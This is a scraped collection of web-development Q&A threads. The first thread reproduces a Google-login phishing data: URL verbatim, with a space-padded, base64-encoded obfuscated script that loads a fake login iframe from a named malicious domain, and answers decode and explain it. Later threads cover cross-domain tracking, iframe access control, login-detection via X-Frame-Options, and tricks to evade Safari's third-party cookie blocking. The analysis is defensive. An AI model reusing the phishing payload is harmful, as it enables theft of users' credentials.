Is this a Google account hack? - javascript

I received an email from a colleague with an attached file that appeared to be on Google Drive, once clicked it led to the following URL, which recreates the Google account login page in order to steal passwords:
data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cscript%20src=data:text/html;base64,ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4gY307aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSl7ZFtjXT1rW2NdfHxjfWs9W2Z1bmN0aW9uKGUpe3JldHVybiBkW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShjLS0pe2lmKGtbY10pe3A9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pfX1yZXR1cm4gcH0oJzMuMi4xNj0iMTUgMTQgMTMgMTcgMTgiOzIxeygyMCgpezE5IDE9My4yLjEyKFwnMVwnKTsxLjEwPVwnNy84LTZcJzsxLjExPVwnOSA2XCc7MS4yMj1cJ1wnOzIuMzEoXCczNFwnKVswXS4yMygxKX0oKSl9MzMoMzUpe30zLjIuMzYuMzc9Ijw0IDM5PVxcIjM4Oi8vMzIuMjYvMjUtMjQvXFwiIDI3PVxcIjI4OiAwOzMwOiA1JTsyOTo1JVxcIj48LzQ+IjsnLDEwLDQwLCd8bGlua3xkb2N1bWVudHx3aW5kb3d8aWZyYW1lfDEwMHxpY29ufGltYWdlfHh8c2hvcnRjdXR8dHlwZXxyZWx8Y3JlYXRlRWxlbWVudHxiZWVufGhhdmV8WW91fHRpdGxlfFNpZ25lZHxvdXR8dmFyfGZ1bmN0aW9ufHRyeXxocmVmfGFwcGVuZENoaWxkfGNvbnRlbnR8d3B8Y2x1YnxzdHlsZXxib3JkZXJ8aGVpZ2h0fHdpZHRofGdldEVsZW1lbnRzQnlUYWdOYW1lfGJsdWV2b2ljZXBnaHxjYXRjaHxoZWFkfGV8Ym9keXxvdXRlckhUTUx8aHR0cHxzcmMnLnNwbGl0KCd8JyksMCx7fSkpCg==%3E%3C/script%3E
From the script is there any way of identifying where the information is being sent, had I put in my email address and password?

Let's break down the attack as far as we can :
it's a url, starting off with the basic gmail login link, which sets a few request variables to automatically login if possible.
data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue
This is followed by a large amount of empty spaces, intended to hide the malicious payload from view in the browser address bar.
%20%20%20%20%20%20%20%20%20%20%20% (etc)
now follows the payload for the victim. it's base64 encoded.
when we decode it, it looks like this :
eval(function (p, a, c, k, e, d)
{
e = function (c)
{
return c
};
if (!''.replace(/^/, String))
{
while (c--)
{
d[c] = k[c] || c
}
k = [function (e)
{
return d[e]
}
];
e = function ()
{
return '\\w+'
};
c = 1
};
while (c--)
{
if (k[c])
{
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}
('3.2.16="15 14 13 17 18";21{(20(){19 1=3.2.12(\'1\');1.10=\'7/8-6\';1.11=\'9 6\';1.22=\'\';2.31(\'34\')[0].23(1)}())}33(35){}3.2.36.37="<4 39=\\"38://32.26/25-24/\\" 27=\\"28: 0;30: 5%;29:5%\\"></4>";', 10, 40, '|link|document|window|iframe|100|icon|image|x|shortcut|type|rel|createElement|been|have|You|title|Signed|out|var|function|try|href|appendChild|content|wp|club|style|border|height|width|getElementsByTagName|bluevoicepgh|catch|head|e|body|outerHTML|http|src'.split('|'), 0, {}
))
this, is evil, obfuscated javascript. do not execute it.
martinstoeckli's answer contains the expanded version of this script.
it sets the title of your current tab to mimick the 'you have been signed out' page of gMail, and alters the page, adding a screen-filling iframe with no borders.
The iFrame points at (what appears to be) a compromised wordpress site, that contains a faked gmail login page.
Upon entering credentials into the fake page hosted on bluevoicepgh.club (someone might want to notify these people that their wordpress website is probably compromised), you are then redirected to the gmail page that had silently logged you in in the background. this happens regardless of whether the credentials you entered into the fake login page were correct or not.
If you had indeed entered valid credentials into that page, there is no telling where it would have gone unless you could look at the script behind it.
Keep in mind, that (thankfully) in its current form, the attack won't work properly since google's login page uses https (and enforces use of https).
As chrome reminds us when the script is executed :
Mixed Content: The page at 'https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false…9keXxvdXRlckhUTUx8aHR0cHxzcmMnLnNwbGl0KCd8JyksMCx7fSkpCg==%3E%3C/script%3E' was loaded over HTTPS, but requested an insecure resource 'http://bluevoicepgh.club/wp-content/'. This request has been blocked; the content must be served over HTTPS.

The script cannot work, because google is sending the x-frame-options = deny (it is upon the browser to respect this header), but the intention of the link seems like this:
The %20 are blanks, this way one hopes to hide the content of the URL, because the following content could be out of the visible area.
The script itself tries to put the valid page into a (probably invisible) frame using the whole window. Whatever you click on this page, can be intercepted by the malicious page.
Maybe someone wants to analyse the frame, but it should be done with care, the malicious domain is bluevoicepgh.
window.document.title = "You have been Signed out";
try {
(function() {
var link = window.document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = '';
document.getElementsByTagName('head')[0].appendChild(link)
}())
} catch (e) {}
window.document.body.outerHTML = "<iframe src=\"http://!!maliciousdomain!!.club/wp-content/\" style=\"border: 0;width: 100%;height:100%\"></iframe>";

The best way to figure it out is, when it prompts you to enter your credentials, check in which domain you are actually in. If it is google domain then its ok, if not then it's something related to Phishing.
Here you should be very careful in checking the domain, the attackers play a trick, if the domain is google they create very similar something like gooogle or geogle something. So Carefully check the domain.

Related

Issue with GTM and firing Facebook Pixel in a cross-domain setup

I am trying to track Facebook ad results using the Facebook Pixel during appropriate events (page views, lead generation, order form view, purchase). I can do all of this for GA using GTM with no problem, but on Facebook I only have partial success.
The main issue is I have a cross domain setup as shown below:
domain1.com/offer - landing page (FB Page View Pixel should fire)
domain1.com/ordergate - request email before showing order form page (FB Page View Pixel should fire)
crm.com/formsubmission - the actual form submits to my crm (FB Lead Pixel should fire)
crm.com/orderform - order form (FB order form view pixel should fire)
domain1.com/thankyou - the thank you page (FB order pixel should fire)
So my trigger on GTM to fire FB pixel was the "referrer" containing "facebook". However, because of the multi-step process, the referrer is lost by the time the order form or sale is completed.
I have since then learned I need to do the following:
User lands from facebook, write cookie with an appropriately short expiration time that stores this information on domaiin1.com.
When the user clicks a link and is redirected to crm.com, check if the user has the cookie, and if they do, add something like ?reffacebook=true to the redirect URL.
On crm.com, if the URL has ?reffacebook=true write the same cookie you wrote on (1) with an equally short expiration time.
UPDATE
So I have figured out step 2 using the following script on page view when the Facebook cookie is set:
function updateLinks(parameter, value)
{
var links = document.getElementsByTagName('a');
var includeDomains = self.location.host;
for (var i=0;i<links.length;i++)
{
if(links[i].href != "#" && links[i].href != "/" && links[i].href != "" && links[i].href != window.location) //Ignore links with empty src attribute, linking to site root, or anchor tags (#)
{
var updateLink = true;
if(links[i].href.toLowerCase().indexOf(includeDomains.toLowerCase()) != -1) //Domain of current link is included i the includeDomains array. Update Required...
{
updateLink = false;
}
if(!updateLink)
{
//Do nothing - link is internal
}
else
{
var queryStringComplete = "";
var paramCount = 0;
var linkParts = links[i].href.split("?");
if(linkParts.length > 1) // Has Query String Params
{
queryStringComplete = "?";
var fullQString = linkParts[1];
var paramArray = fullQString.split("&");
var found = false;
for (j=0;j<paramArray.length;j++)
{
var currentParameter = paramArray[j].split("=");
if(paramCount > 0)
queryStringComplete = queryStringComplete + "&";
if(currentParameter[0] == parameter) //Parameter exists in url, refresh value
{
queryStringComplete = queryStringComplete + parameter + "=" + value;
found = true;
}
else
{
queryStringComplete = queryStringComplete + paramArray[j]; //Not related parameter - re-include in url
}
paramCount++;
}
if(!found) //Add new param to end of query string
queryStringComplete = queryStringComplete + "&" + parameter + "=" + value;
}
else
{
queryStringComplete = "?" + parameter + "=" + value;
}
links[i].href = links[i].href.split("?")[0] + queryStringComplete;
}
}
else
{
//Do nothing
}
}
}
So with this code I can now properly attribute people with the facebook referral across domains...
...but I still have a problem with form submits.
So when the contact gets to step 4, it is a redirect from the form submission. It does not carry any cookie or query string, so neither of the FB pixels (order form view or order) is being fired.
I'm not sure how I would handle this. My first thought is to pass a hidden field into the form submission (say reffacebook=true). Then somehow expose that in the url in a form of a query string so that it can be detected by GTM.
This seems to be somewhat complicated though, as I would have to edit all my forms to have this variable, edit my CRM so it knows to receive it, and then edit the form landing page to expose that variable in the url.
Hey I hope that I understood what is this all about. Here you want to track traffic between cross domains right? I am not into any coding or anything like that to achieve such a tracking. Because I don't know any coding seriously (I apologies my self for not even trying to learn. I realize my self is that knowing Java script have a lot of benefits in advanced marketing). Ok Here is my point. If we want to track traffic between domains and retarget them later, wouldn't it be done by Facebook itself just by using the same pixel in both domains? This is what I used to believe in the case of multiple domains while doing Facebook ads. Here the important Thing is the audience should be the same from domain A to domain B (In your case it looks like yes the audience is same there for there is no issue for doing that I think). But not sure whether Facebook will track the traffic between domains successfully or not just by placing same FB Pixel in both domains.
Thank you.
#SalihKp, I think you have a point however the issue is that i believe facebook does cross domain with third party cookies which are not working optimally now adays
#David Avellan actually since the user returns to the landing domain for the thank you page, then the final conversion should work using 1st party cookies, but what you want in between might be an issue.
i am looking at now a case where they user lands on a.com and convert

How to disable direct access to Iframe

Let's say normally my users access our web page via https://www.mycompany.com/go/mybusinessname
Inside this web page, we have a iframe which actually comes from https://www.mycompany.com/myapp
Everything is working fine, except that if for some reason, the users come to know about this url https://www.mycompany.com/myapp. They can start accessing it directly by typing into the address bar.
This is what I want to prevent them from doing. Is there any best practice to achieve this?
==== Update to provide more background ====
The parent page which is https://www.mycompany.com is the company's page and it's maintained by some other team. So they have all the generic header and footer, etc. so each application is rendered as an iframe inside it. (This also means we cannot change the parent page's code)
If users access https://www.mycompany.com/myapp directly, they won't be able to see the header and footer. Yes, it's not a big deal, but I just want to maintain the consistency.
Another of my concern is that, in our dev environment (aka when running the page locally) we don't have the parent-iframe thing. We access our page directly from http://localhost:port. Hence I want to find a solution that can allow us access it normally when running locally as well.
If such solution simple does not exist, please let me know as well :)
On your iframe's source, you can check the parent's window by using window.top.location and see if it's set to 'https://www.mycompany.com/go/mybusinessname'. If not, redirect the page.
var myUrl = 'https://www.mycompany.com/go/mybusinessname';
if(window.top.location.href !== myUrl) {
window.top.location.href = myUrl;
}
I realized we already had a function to determine whether the page in running under https://www.mycompany.com. So now I only need to do the below to perform the redirecting when our page is not iframe
var expectedPathname = "/go/mybusinessname";
var getLocation = function (href) {
var l = document.createElement("a");
l.href = href;
return l;
};
if (window == window.top) { // if not iframe
var link = getLocation(window.top.location.href);
if (link.pathname !== expectedPathname) {
link.pathname = expectedPathname;
window.top.location.replace(link.href);
}
}
You can use HTTP referer header on server-side. If the page is opened in IFRAME - the referer contains parent page address. Otherwise, it is empty or contains different page.

Interacting with iFrames

I have a scenario where a user visits my site. I'm going to use an iFrame to show another site on another domain (not in my control) in that iFrame. Now this site will show a login page. customer will login into this page. If the login is successful, i want to disable/blur the iFrame and show some fields on my page. Upon entry of the data on my site i'll be enabling the iframe and letting the user to carry on.
My question is: How can i capture the login successful event in the iFrame?
Side question: Is there a better way of doing this than using the iFrame?
You want to know when the user has logged in on another site and imitate logging in behavior. What you describe is against the same-origin policy and an actual security break...
This could be done properly, without rising security concerns, if the external site would shared login related information (for example through OAuth). Then you could just popup the external site's login page. Your user would enter his/her credentials and you would get proper access to its login action status.
Supposing that the external application is facebook, you could find extra information and examples on this page. An OAuth tutorial for beginners could also be useful.
Hope I helped!
I am not 100% sure if the below is what you require but you can try out the following:
-Below is a quick example of XFO detection, without any Login Detection checks, on a few websites.
<* script src=”http://ajax.googleapis.com/ajax/libs/dojo/1.7.2/dojo/dojo.js”><* /script>
<* script>
var urls = [
'http://www.wikipedia.org/',
'http://ha.ckers.org/',
'http://www.google.com/',
'http://www.facebook.com/',
'https://github.com/',
'http://daringfireball.net/',
];
function detect() {
dojo.forEach(urls, function(url) {
var iframe = dojo.create(“iframe”, { src: url, id: url });
dojo.attr(iframe, “style”, {display: ‘none’});
dojo.connect(iframe, “onload”, function() {
dojo.destroy(iframe);
});
dojo.place(iframe, dojo.body());
setTimeout(function () {
var obj = dojo.byId(url);
if (obj) {
dojo.destroy(iframe);
var entry = dojo.create(“li”, null, dojo.body());
entry.innerHTML = “Yes: ” + url;
} else {
var entry = dojo.create(“li”, null, dojo.body());
entry.innerHTML = “No: ” + url;
}
}, 3000);
});
}
<* /script>
For more methods and explanation of the above visit - http://blog.whitehatsec.com/i-know-what-websites-you-are-logged-in-to-login-detection-via-csrf/

google tts with paid account

You now have to pay to use the google translate api. I'm happy to pay for the service but I can't find a way to use the tts. This is what I'm doing
var GoogleTranslate = function(){
var key = "myapikey"
this.speak = function(words) {
var url = "http://translate.google.com/translate_tts?tl=es&q=" + escape(words) + "&key=" + key
new Audio(url).play();
}
}
but when I do new GoogleTranslate().speak("hola")
The requests to http://translate.google.com/translate_tts never return a response. How do I get this working?
I haven't tried your code yet, so I'm not sure if you should be waiting for the sound to load before you can play it (most likely), but I've written an article about this service recently. The part that matters here is the following:
...if your browser forwards a Referer header with any value other than an empty string (meaning it tells the service which page you clicked the link on) then [Google] will return a 404 (Not Found) http error...
Read the entire article here: Embedding text-to-speech into HTML5 games
So in fact, the service is still there, you just need to hide your referer header. One way to do that is through creating a small gateway script. There's the source for one right in the article.

Setting cross-domain cookies in Safari

I have to call domain A.com (which sets the cookies with http) from domain B.com.
All I do on domain B.com is (javascript):
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.src = "A.com/setCookie?cache=1231213123";
head.appendChild(script);
This sets the cookie on A.com on every browser I've tested, except Safari.
Amazingly this works in IE6, even without the P3P headers.
Is there any way to make this work in Safari?
From the Safari Developer FAQ:
Safari ships with a conservative cookie policy which limits cookie writes to only the pages chosen ("navigated to") by the user. This default conservative policy may confuse frame based sites that attempt to write cookies and fail.
I have found no way to get around this.
If it's worth anything, Chrome doesn't set the cookies either if you use the <script> appending method, but if you have a hidden <img> with the same source, Chrome works in addition to the rest of the browsers (except, again, Safari)
Here is a solution which works:
http://anantgarg.com/2010/02/18/cross-domain-cookies-in-safari/
This might not work for everyone, but I came across this issue because I was serving a React App from a different host than the API, and the solution that ultimately worked was to use DNS:
Our client was being served from www.company-name.com and our API was on company-name.herokuapp.com. By making a CNAME record api.company-name.com --> company-name.herokuapp.com, and having our client use that subdomain for API calls, Safari stopped considering it a "third-party" cookie.
The upside is that there's very little code involved, and it's all using well-established stuff... The downside is that you need some control/ownership over the API host if you're going to use https - they need a certificate that's valid for the client domain, or users will get a certificate warning - so this wouldn't work (at least not for something end-user-facing) if the API in question isn't yours or a partner's.
Working method 2014-2016:
You have to do window.open to the domain / assign a cookie / close the popup, the domain is now safelisted.
Original post # PHP multiple cookies not working on iPad / iPhone browser
There is a bit of an evil trick assuming they have flash installed.
I'm not sure if it still works or not, but Flash'es "Local Shared Objects" aka Flash Cookies could help you circumnavigate Safari's same-domain policies.
Local Shared Object Tutorial
However, it may be complicated to implement, to say the least.
Wiki Article on LSO's
Additonally, LSO's are comming into the light as being a security nightmare:
Electronic Privacy Information Centre on LSO's
Flash Cookies: The Silent Privacy Killer
So think carefully before using them.
A post to a hidden <iframe> can allow you to by-pass this restriction in Safari -- http://gist.github.com/586182:
<?php
header('P3P: CP=HONK');
setcookie('test_cookie', '1', 0, '/');
?>
<div id="test_cookie" style="position: absolute; top: -10000px"></div>
<script>
window.setTimeout(function() {
if (document.cookie.indexOf('test_cookie=1') < 0) {
var
name = 'test_cookie',
div = document.getElementById(name),
iframe = document.createElement('iframe'),
form = document.createElement('form');
iframe.name = name;
iframe.src = 'javascript:false';
div.appendChild(iframe);
form.action = location.toString();
form.method = 'POST';
form.target = name;
div.appendChild(form);
form.submit();
}
}, 10);
</script>
There is a proper workaround for this working in 2015. Let's say there is website y.com which includes iframe with site x.com. The x.com iframe wants to store a cookie. That is not permitted by Safari policy, however, y.com is able to store it. So y.com must listen to messages from x.com and then store the cookie itself.
var _cookieEvMth = window.addEventListener ? "addEventListener" : "attachEvent";
var _cookieEvAction = window[_cookieEvMth];
var _cookieEv = _cookieEvMth == "attachEvent" ? "onmessage" : "message";
_cookieEvAction(_cookieEv, function(evt){
if(evt.data.indexOf('cookieset')!=-1){
var datack = evt.data.split('|');
YOUR_CUSTOM_COOKIE_SAVE_METHOD(datack[1],datack[2],datack[3]);
}
},false);
When x.com needs to store the cookie, it must post a message to y.com:
window.parent.postMessage('cookieset|'+ckName+'|'+ckVal+'|'+days,'*');
Also you can work your way to post message to the iframe if you want to read the cookie. Or you can include it as parameter in x.com iframe url using javascript:
iframe.setAttribute('url','x.com/?cookieval='+YOUR_COOKIE_GET_METHOD('cookiename'));
A workaround we just came up with at my job was to set the cookie via a window.open() - it may not be optimal for you (as you'll have an ugly ass popup window open), but it worked well for us. We had to have a popup window open anyway for OAuth authentication.
So the jist of what we did was:
User clicks a link from B.com
Popup window opens to A.com/setCookie
A.com sets its cookie, and then redirects to B.com in the proper place
Again, not valid in all solutions, but it worked in ours. Hope this helps.
I know this question is rather old, but this helped me to solve cookies problem:
var cookieForm = document.createElement("form");
cookieForm.action = "A.com/setCookie?cache=1231213123";
cookieForm.method = "post";
document.body.appendChild(cookieForm);
cookieForm.submit();
The idea to make a form post on a page that sets your cookies.
*EDIT*
This workaround has been reported closed in WebKit.
Luca,
Ok, so this answer is two years old, but... you can set a cookie from an iframe if you post a form to a hidden iframe. You can do this by creating a form:
<form id="myiframe" action="http://yourdomain.com" method="POST" target="iframe_target">
Then in Javascript, get a reference to the form and call submit:
document.getElementsByTagName('form')[0].submit();
You can listen to the iframe's onload, or you can have your iframe action page issue some javascript that signals the load. I have tested this in Safari and Chrome, and it works.
Cheers.
Perhaps pragmatically create and click a link with an href="A.com/setCookie?cache=1231213123" and a target attribute pointing to a hidden iframe. That may bypass Safari's policy of user navigation for setting cookies (I don't have Safari handy to test.)
I did some extensive investigation around this when I was trying to deploy a site that used Windows Live ID, which depended on the ability to be able to set 3rd party cookies in order to log out. It just... didn't work. Nothing we could do would get it to work. The Live ID team also did extensive investigation and their answer was "can't make it work".
Note this line:
script.src = "A.com/setCookie?cache=1231213123";
I could not get this working until I added the http, i.e.
script.src = "http://A.com/setCookie?cache=1231213123";
I found a simple solution. You just need for first time setting cookie to check if request come from the same origin or not, if not as usual you need to return into iframe a script that will repeat this request, already having permission to assign cookie. After that you can do other request directly through iframe accessing this cookie. This helped me in my tracking system. Try, this works well.
Its worth noting that this restriction in Safari doesn't apply across subdomains. So if you directly visit sitea.com, then you can set cookies from subdomain.sitea.com without direct user interaction (iframe/JavaScript).
This was relevant for my case when developing an API. If you're visitors are arriving at mysite.com, and then you want some JavaScript to interact with your API, then if the API is hosted at api.mysite.com, then it will work on Safari.
Place this JavaScript on the page making cross-domain requests, http://example1.com/index.html:
<script>
var gup = function(name, url) {
if(!url) url = location.href;
name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
var regexS = "[\\?&]"+name+"=([^&#]*)";
var regex = new RegExp( regexS );
var results = regex.exec( url );
return results == null ? null : results[1];
}
var isSafari = navigator.vendor && navigator.vendor.indexOf('Apple') > -1 && navigator.userAgent && !navigator.userAgent.match('CriOS');
var n = gup("activated");
if(isSafari && n == null) {
//browser is Safari and cookies have not yet been activated
var current_url = location.protocol + '//' + location.host + location.pathname;
var query_string = '?callback=' + encodeURIComponent(current_url + '?activated=1');
var new_url = 'http://example2.com/activate.php' + query_string;
window.location.href = new_url;
}
//the rest of your code goes here, and you can now set cross-domain cookies on Safari
</script>
Then create a file on the other server, which needs to set cookies, http://example2.com/activate.php:
<?php
if(isset($_GET['callback'])) {
header('Location: '.$_GET['callback']);
exit();
} else {
//in case callback param is not set, simply go back to previous page
echo "<script>";
echo "window.history.back();";
echo "</script>";
exit();
}
?>
Here's how this works:
When http://example1.com/index.html is first visited, a check is made to see whether the browser is Safari and whether a GET parameter of the name "activated" does not exist. If both conditions are met (which will happen on the first visit for a Safari browser), then the browser is redirected to http://example2.com/activate.php with a GET parameter, "callback", containing the calling URL appended with an "activated" parameter.
http://example2.com/activate.php simply redirects back to the URL contained in the GET parameter, "callback".
When http://example1.index.html is now hit this second time after being redirected-to, the GET parameter, "activated" will now be set, so the conditional from step 1 will not execute, thus allowing the script to continue execution.
This fulfills Safari's requirement of having the browser visit the 3rd party domain at least once in order to start setting cookies.
Try something like:
var w = window.open("A.com/setCookie?cache=1231213123");
w.close();
It may bypass safari's security policy.
It isn't the missing type-attribute thats annoying you ?-)
<script type="text/javascript">
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.setAttribute("type","text/javascript");
script.src = "A.com/setCookie?cache=1231213123";
head.appendChild(script);
</script>

Categories